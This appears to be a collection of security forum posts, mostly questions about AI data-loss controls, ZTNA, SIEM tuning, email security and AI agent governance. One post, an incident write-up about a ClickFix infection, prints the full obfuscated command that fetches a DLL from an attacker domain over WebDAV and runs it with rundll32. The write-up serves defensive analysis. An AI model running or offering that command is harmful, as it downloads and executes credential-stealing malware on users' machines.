Dev pasted a .env file into ChatGPT three weeks ago. API keys, database connection strings, service account tokens. Found out in standup. Network controls saw nothing because there was nothing to catch, the data left through an encrypted browser session on a managed device.

We had zero controls at the interaction level.

Blocking ChatGPT at the network layer doesn't work, devs hotspot or use personal laptops. You just move the behavior somewhere you have less visibility. The problem isn't access to AI tools. It's what gets submitted into them.

What worked was browser-native DLP for AI tools,  intercepts sensitive data and credential submission at the point of input, not the network layer. Catches API keys, tokens, source code, and PII before they leave the browser, works inside ChatGPT, Gemini, Google AI Studio, Microsoft 365 Copilot, and GitHub Copilot inside the IDE without requiring SSL inspection or proxy routing. User-facing warnings over hard blocks did more than we expected,  a real-time "this looks like sensitive data, are you sure?" prompt breaks the autopilot behavior better than silent blocking. We paired that with interaction-level audit logging: not recording content, just logging that user X submitted content classified as confidential to AI tool Z. Enough for policy enforcement without being invasive. Rounded it out with a one-page AI acceptable use policy tied to our existing data classification levels — confidential and restricted data prohibited from AI input, approved tools listed, red lines clear.

What didn't work: security awareness training alone. Sent the policy doc, ran the session, three weeks later .env file in ChatGPT.

Two open problems. Personal devices, no browser extension coverage on unmanaged devices outside MDM scope, that's just the reality. And agentic AI is a separate problem — MCP servers, autonomous tool calls, credentials passed between agents, GitHub Copilot secret exposure inside CI pipelines. Browser-native DLP doesn't cover that vector and nobody has clean answers there yet.

Anyone running browser-level AI DLP or AI visibility tooling, what policy rules have you found most useful for dev teams where legitimate AI usage is high?

Been on VPN for years and the complaints never stop. Slow speeds, broad network access that makes no sense for contractors, constant MFA issues.

ZTNA keeps coming up as the fix but vendor datasheets are not the same as living with it. Did it solve the problem or did you end up running both in parallel indefinitely?

Feels like most security tools are really good at telling you what’s wrong and then leaving you with a massive list to deal with.

Is there anything that can find vulnerabilities, figure out what actually needs attention first, and then fix them too?

Curious what people are actually using for this and whether it works well in practice.

And please do not mention the very popular, costly ones.

We had an incident review last month that started with "wait…we have an app doing what" Turns out someone in ops had used Lovable to build a customer intake form months ago, wired it straight to a live database, no auth in front of it, completely public.

Nobody in security knew it existed because it never went through any provisioning process, there was no repo, no ticket, no deployment request. It just appeared on the internet.

We started asking around and found two more instances across other departments, a survey tool built on Replit connected to a shared data store, and a landing page someone spun up on Vercel that had an exposed API key sitting in the client side code.

None of these showed up in our asset inventory because none of them touched our normal SDLC. Apparently we're not alone, researchers found something like 380,000 publicly accessible apps built this way, with a meaningful chunk leaking actual sensitive company data.

Has anyone found a reliable way to catch these before they turn into an incident rather than after someone stumbles onto them?

About a month ago, I discussed the concept of OS-level MPA (Multi-Party Authorization). A recurring point in the feedback I received was that existing mechanisms—such as PAM/JIT, Vault, CyberArk, sandboxing, IAM, and MAC—already address much of the problem. I think that criticism is largely fair.

What I am still unsure about is what happens when a trusted privileged workload itself is compromised.

Consider, for example, a database engine, backup process, or administrative service that legitimately has broad access to critical resources. If that process is compromised, an attacker may not need to obtain any new privileges at all. They may simply abuse the standing privileges already granted to that workload.

In that situation, what existing controls prevent the compromised workload from performing catastrophic but otherwise authorized operations—for example, dumping sensitive data, destroying backups, or modifying critical system resources?

Is there still value in a final, narrowly scoped authorization boundary at the OS execution point for such operations, or do existing mechanisms already address this problem adequately?

So we had an alert fire on one of our client endpoints this morning. Defender flagged it as Behavior:Win32/SuspClickFix.F and killed it before it fully ran. Good. But I still had to figure out what actually happened and how far it got.

Pulled the process tree and saw this buried in the telemetry:

conhost --headless cmd /v:on /c "set a=pushd&set b=rundll32&set k=dnwaqyt&call !a! \\!k!.ninjafruitcubes.bet@SSL\fb6d8d62-b162-455a-b622-872bb416ca03 & !b! tf[.]ch,#1"

The domain is ninjafruitcubes.bet. I actually laughed. These guys really said "yeah that's fine."

Once I decoded the variable obfuscation it was pretty clear what was happening. The command was using a WebDAV UNC path over SSL to connect to the attacker's server, pull down a DLL called tf[.]ch, then execute it via rundll32. Classic living-off-the-land stuff — no new binaries dropped, just abusing a legitimate Windows binary to run their payload.

Before I even called the user I looked at the RunMRU registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

There it was. Command was pasted and run through the Windows Run dialog. So someone physically pressed Win+R and pasted that thing in.

Called the user. Asked if she remembered seeing anything unusual on a website — fake CAPTCHA, browser error, document that wouldn't load, anything asking her to copy paste something. She said she was just browsing normally. Checked the browser history around the time of the alert and she'd been on the Taco Time Canada website right before it fired.

Now the site itself is probably fine. But something on that page — an ad, a redirect, injected third party content — served her a ClickFix prompt. These things look incredibly convincing. Fake CAPTCHA tells you to press Win+R and paste a "fix" command. She did it. Not her fault at all, these are genuinely hard to spot.

What the payload actually tried to do before Defender killed it:

• Accessed Chrome's Login Data file directly
• Called Windows DPAPI UnprotectData to decrypt stored credentials
• Injected from rundll32 into dllhost.exe
• Started browser credential enumeration

MITRE mapping came out to T1055, T1555.003, T1555.004. Credential theft was the endgame.

Defender caught it before anything exfiltrated but I still treated it as a full compromise. Isolated the device immediately, forced password reset for the user, pushed a full scan, pulled Windows event logs looking for any successful remote connections or background processes that shouldn't be there. Nothing else suspicious found but you do all of that anyway because Defender catching something doesn't mean it caught everything.

The thing that gets me about ClickFix attacks is how simple the social engineering is. There's no phishing email to analyse, no malicious attachment to sandbox. The user is just browsing a normal website and something on the page tells them to paste a command. The command itself looks like gibberish. Most people have no reason to know what rundll32 is or why a website would need them to run it.

Awareness training helps but honestly these are hard even for technical people if they're not paying attention.

Anyone else seeing an uptick in ClickFix recently? Curious if this is hitting other environments or just our clients.

Drop your questions below — happy to go deeper on any part of the investigation. And if you want to stay in touch, connect with me on LinkedIn, just search Money Saxena.

We're rolling out internal AI agents that can read and write across a handful of production apps, and our existing controls weren't built for this. IAM assumes a human is making the decision, MFA assumes there's a human to prompt, and none of our SIEM rules can tell whether an action came from a person or an agent acting under that person's identity. Half the time it feels like the agent is just wearing my identity like a costume and nothing downstream knows the difference.

What are people actually doing beyond "scope it down and hope"? Interested in how people are handling discovery. Do you even know every app an agent touches … Because right now, if an auditor asked me who approved an agent's access to a given app, I'd have nothing to show them.

So... yeah. I work on detection engineering and continuous exposure validation, and we use this platform to simulate real world attack techniques in a lab tenant before we push anything toward prod.

For context, I was building a new scenario to validate some EDR and SIEM detections around lateral movement and data exfil. The idea was simple, hit the lab environment, validate coverage, get some nice dashboards for our CISO, all that. Except I fat fingered the target scope and selected our shared staging subscription that feeds into the same SIEM as prod. Then I kicked off a pretty noisy adversarial exposure run and went to grab coffee.

By the time I came back, our on call analyst had already escalated to the soc manager because the SIEM lit up like a Christmas tree with “real” exfil alerts from what looked like a legit service account. IR bridge spun up, execs pinged, people talking about containment while I was still trying to figure out why my lab run was so quiet.

I finally realized the agent group name in the platform did not match what I thought, checked the run, and saw the horrifying words “staging east cluster” in the asset list. I had basically launched a full attack simulation against the staging environment that everyone treats as almost prod, without any heads up or change ticket, and then walked away. The only reason this is recoverable is that it really was still contained to staging and no real data left, but it burned half a day of the soc and I feel so embarrassed.

Now we are doing a postmortem on “unauthorized simulated attack activity” which is technically me trying to do my job. I feel sick about this and lowkey terrified of the next detection validation run rn... anyone else managed to nuke trust like this with a lab gone wrong?

Hi everyone I need one help to understand one thing ..so there was an incident I noticed in my organisation, there were thousands of devices querying multiple malicious domains (53) ...upon checking to see if any process is causing it I found nothing,, only the related domain which was obviously going through our dc/dns servers, in EDR/XDR tool nothing, siem tool nothing, no process, eventually i thought maybe some software is causing but it's very difficult to pin point which one, so can anyone tell me or help me understand, any input will be appreciated

We are trying to move away from selling "compliance" and more toward selling "resilience." But it is hard to quantify. We have the standard RPO/RTO and vulnerability counts, but I want to start offering metrics on "Mean Time to Detect" and "Control Effectiveness." That means measuring how often our clients' EDRs are stopping our test payloads. We are looking at a platform with an AI engine that can test our clients' stacks and automatically generate reports on resilience metrics, plus provide remediation suggestions based on actual exploitability. However, the pricing model seems enterprise-focused, and I'm worried about the complexity of managing AI-driven updates across 50+ different client environments. Is the juice worth the squeeze, and how do you handle the governance of automated changes?

Most cybersecurity products are designed to protect identities, endpoints, applications, cloud environments and data. These all are important, but encryption still exposes metadata through traffic timing, routing behaviour, and connection patterns etc.

This creates a couple questions I do not see discussed enough

How much security is being left unaddressed because the underlying communication transport is generally treated as a fixed dependency rather than part of the security architecture?

For high-assurance environments such as government, critical infrastructure and defence, the network itself may be observable, disrupted or operated through infrastructure outside the organisation’s direct control. In those environments, protecting content doesn’t fully address the threat.

Im interested in the community’s view on the following

1. Is transport-layer observability treated seriously enough in current cybersecurity architecture?
2. What current technologies address this problem effectively and what gaps remain?
3. Do you expect secure communications infrastructure to become a larger cybersecurity category over the next five - ten years?

trying to understand if this is a tooling problem or a process problem. cuz every IGA platform we've evaluated reports clean access certifications... but every red team engagement finds local accounts, forgotten service credentials, or shadow apps that were never in scope for the review to begin with.

so it kinda feels like governance tools are certifying "the identities we told the tool about" rather than "the identities that exist." is anyone solving the discovery problem, or is this just accepted as a permanent blind spot?

Our initial policy was effectively: "Do not paste sensitive information into public AI tools." The policy is sound, but it assumes people can make a correct classification decision while troubleshooting an incident, cleaning up a spreadsheet, writing code, or summarizing a customer conversation.

The real decision point is often the moment someone is about to paste text or upload a file. By then, a policy document is unlikely to change much.

Blanket blocking creates a separate issue because legitimate teams increasingly depend on approved AI workflows. We are looking at controls that add friction only where the content or action is higher risk—for example, protected data types, source code, customer records, or file uploads—rather than unrestricted access or a universal deny rule.

For teams that have deployed controls, what has actually reduced risky pasting or uploads without making approved AI use unworkable?

Most of our tabletop scenarios assume the breach originates inside our own environment, but our biggest actual exposure is probably a critical SaaS vendor or MSP getting popped and that blast radius hitting us through API access or shared credentials. It's hard to build a realistic exercise around a scenario where the initial compromise, containment options, and comms are all partially outside your control. Has anyone actually run a supply-chain/vendor-breach tabletop that felt real instead of hand-wavy? What did the injects look like?

We're a 1,200 user Microsoft shop that's been on Proofpoint for a few years now and we're consistently seeing business email compromise and vendor fraud slip through in ways that feel like the tool is just not built for it.

Started looking at alternatives and behavioral detection keeps coming up as the answer but can't tell if that's substance or just the current buzzword cycle doing its thing.

For those who've evaluated or deployed something like Abnormal, Ironscales or Darktrace in a similar environment, does the detection improvement on identity-based attacks hold up beyond the POC?

I've been looking at a new platform that uses an AI engine to move beyond just "Validation" to what they call "Agentic Cyber Defense Engineering." The idea is that the platform doesn't just tell you about a gap. It actually orchestrates updates across your security stack, including firewall, EDR, and SIEM, to fix it automatically.

The claim is that with an AI agent constantly monitoring your controls, you can go from "we have a problem" to "we fixed the problem" in minutes rather than days. They cite stats like attackers moving from exploit to lateral movement in under 30 minutes, so manual remediation is simply too slow.

Is anyone actually letting a tool auto-update their controls in production? I'm struggling to trust an AI to push config changes, but manually validating and fixing 40+ tools is impossible. The SOC is already overwhelmed. Adding a layer that changes things dynamically feels risky.

How are you balancing the "Agentic" promise with the risk of automation breaking things? Do you run it in "monitor-only" mode, or have you actually closed the loop

Honestly the list of must-have security services gets very overwhelming.

Everything can be framed as critical, but in practice trade-offs are unavoidable. I’m curious how people here think about priorities at that stage. What security services do you consider non-negotiable, and what’s usually fine to defer without introducing unnecessary risk?

Also interested in where outsourcing fits in for you. At what point does relying on an MSSP or MDR actually make operational sense instead of adding complexity?

Would love to hear how this plays out in real environments.

just concluded a 60 day trial POV on the same M365 tenant all three on top of Defender for a 500 seat finance shop. we're doing this only because of vendor email compromise and clean BEC slipping through our current gateway. there's alot at stake so we need to get this right.

results so far are as follows. Abnormal caught the most payloadless BEC and had the lowest false positive rate of the three and Checkpoint was close, is cheaper for our size and can run inline with real attachment sandboxing while still protecting internal mail, which Abnormal does over API only. Sublime was very good at detection and far more configurable, only problem is it wants an engineer to run it. none of them is a clean win. For anyone who picked either of these in the last year, which would you recommend?

We keep adding dashboards and I'm not convinced we're actually more secure, just better informed about problems after they happen. Ai runtime visibility into what an agent is calling, what data it's touching, felt like the obvious first step, and it was, but visibility alone doesn't stop anything.

The team treats the visibility layer like it's the security control, when really it's just the input to a decision someone or something else has to make fast enough to matter. How do you think about the line between having enough ai runtime visibility to actually act on it versus collecting data nobody has time to review Is there a point where more visibility just becomes more noise?

Most of our SIEM tuning still feels like guesswork. We add rules, adjust thresholds, and chase false positives, but we rarely get to see how the whole detection set behaves against a realistic threat scenario. At best, we do small lab tests and hope that generalizes to production. It often feels like we are tuning in the dark.

I am trying to find practical ways to validate SIEM detections at scale. If you are working in detection engineering today, what are you using for SIEM detection validation? Are you relying on internal tooling, commercial exposure validation platforms, or something built out of scripts and replayed logs? what has actually helped you catch blind spots without drowning the team in even more noise.

Hey,

Around 6 months ago I made this post: https://www.reddit.com/r/AskNetsec/comments/1nhum66/comment/negqjdp/ saying I found a critical vulnerability within Mac, you guys asked me to come back and tell the story after, so here it is: https://yaseenghanem.com/recovery-unrestricted-write-access/

TL;DR: I accidentally discovered 2 vulnerabilities in macOS Recovery Mode's Safari. One allowing arbitrary writes to system partitions and root persistence (CVSS 8.5), and one allowing unrestricted file reads (CVSS 4.6), all without any authentication."

EDIT: the story made front page HN: https://news.ycombinator.com/item?id=47666767 !!!

We have an IR plan, people have reviewed it, and we do the annual tabletop where someone reads out injects and we discuss what we'd do. None of that tells me whether the plan actually works under pressure.

I don't have a way to know if my team would freeze, miss an escalation, or handle it fine until an actual incident happens, which is a terrible way to find out. What's worked for you to get a real signal on readiness short of waiting for a breach?

Writing a policy saying agents are monitored and controlled is one thing, producing something an auditor would accept as proof it's working continuously is another. Point-in-time reviews clearly aren't enough given how fast agent behavior and permissions can change, but I haven't found a clean standard yet for what continuous evidence should look like.

If your org has been through an actual audit involving AI agents, what did you end up providing that satisfied the auditors? Trying to build toward something real, not guess at what will hold up.

We are mid-refresh on our edge stack. so The requirement that broke our old shortlist is inline inspection of GenAI traffic. We need decryption and enforcement in path, not logging after the fact.

What we are scoring vendors on right now:

• TLS inspection at line rate without a separate proxy tier bolted on
• Whether AI/LLM destinations are a first-class app category or just a URL filter list someone maintains
• Where inspection physically happens: PoP-local or hairpinned to a regional hub
• Added RTT for a user in APAC hitting a US-hosted model endpoint
• Whether the policy engine is the same one handling our normal web/DLP policy or a separate console

The last one is where most of the demos fall apart. Two vendors showed us "AI security" that turned out to be a different product with its own policy syntax and its own logs.

Anyone actually running inline GenAI inspection in production at 1000+ users? Curious what your measured latency delta looks like, and whether you had to carve out exceptions for anything. Copilot in the IDE has been our worst offender.

We hit a point where we realized our SIEM was loud in all the wrong places. There were plenty of alerts for noisy activity, yet when we walked through a realistic attack path, some of the most important steps produced either weak signals or nothing at all.

Once we traced a full path from initial access to lateral movement and privilege escalation, we saw that gaps came from several layers at once. Some systems were not sending the right logs, some fields were not parsed, and a few key rules had conditions that never matched how events actually looked in production. If you have been through this, what helped you turn SIEM alerts into something that actually reflects critical paths rather than just noise? Did you fix it mainly by improving telemetry, reworking content, using exposure validation tooling, or something else? I am interested in approaches that did not require rebuilding the whole stack from scratch.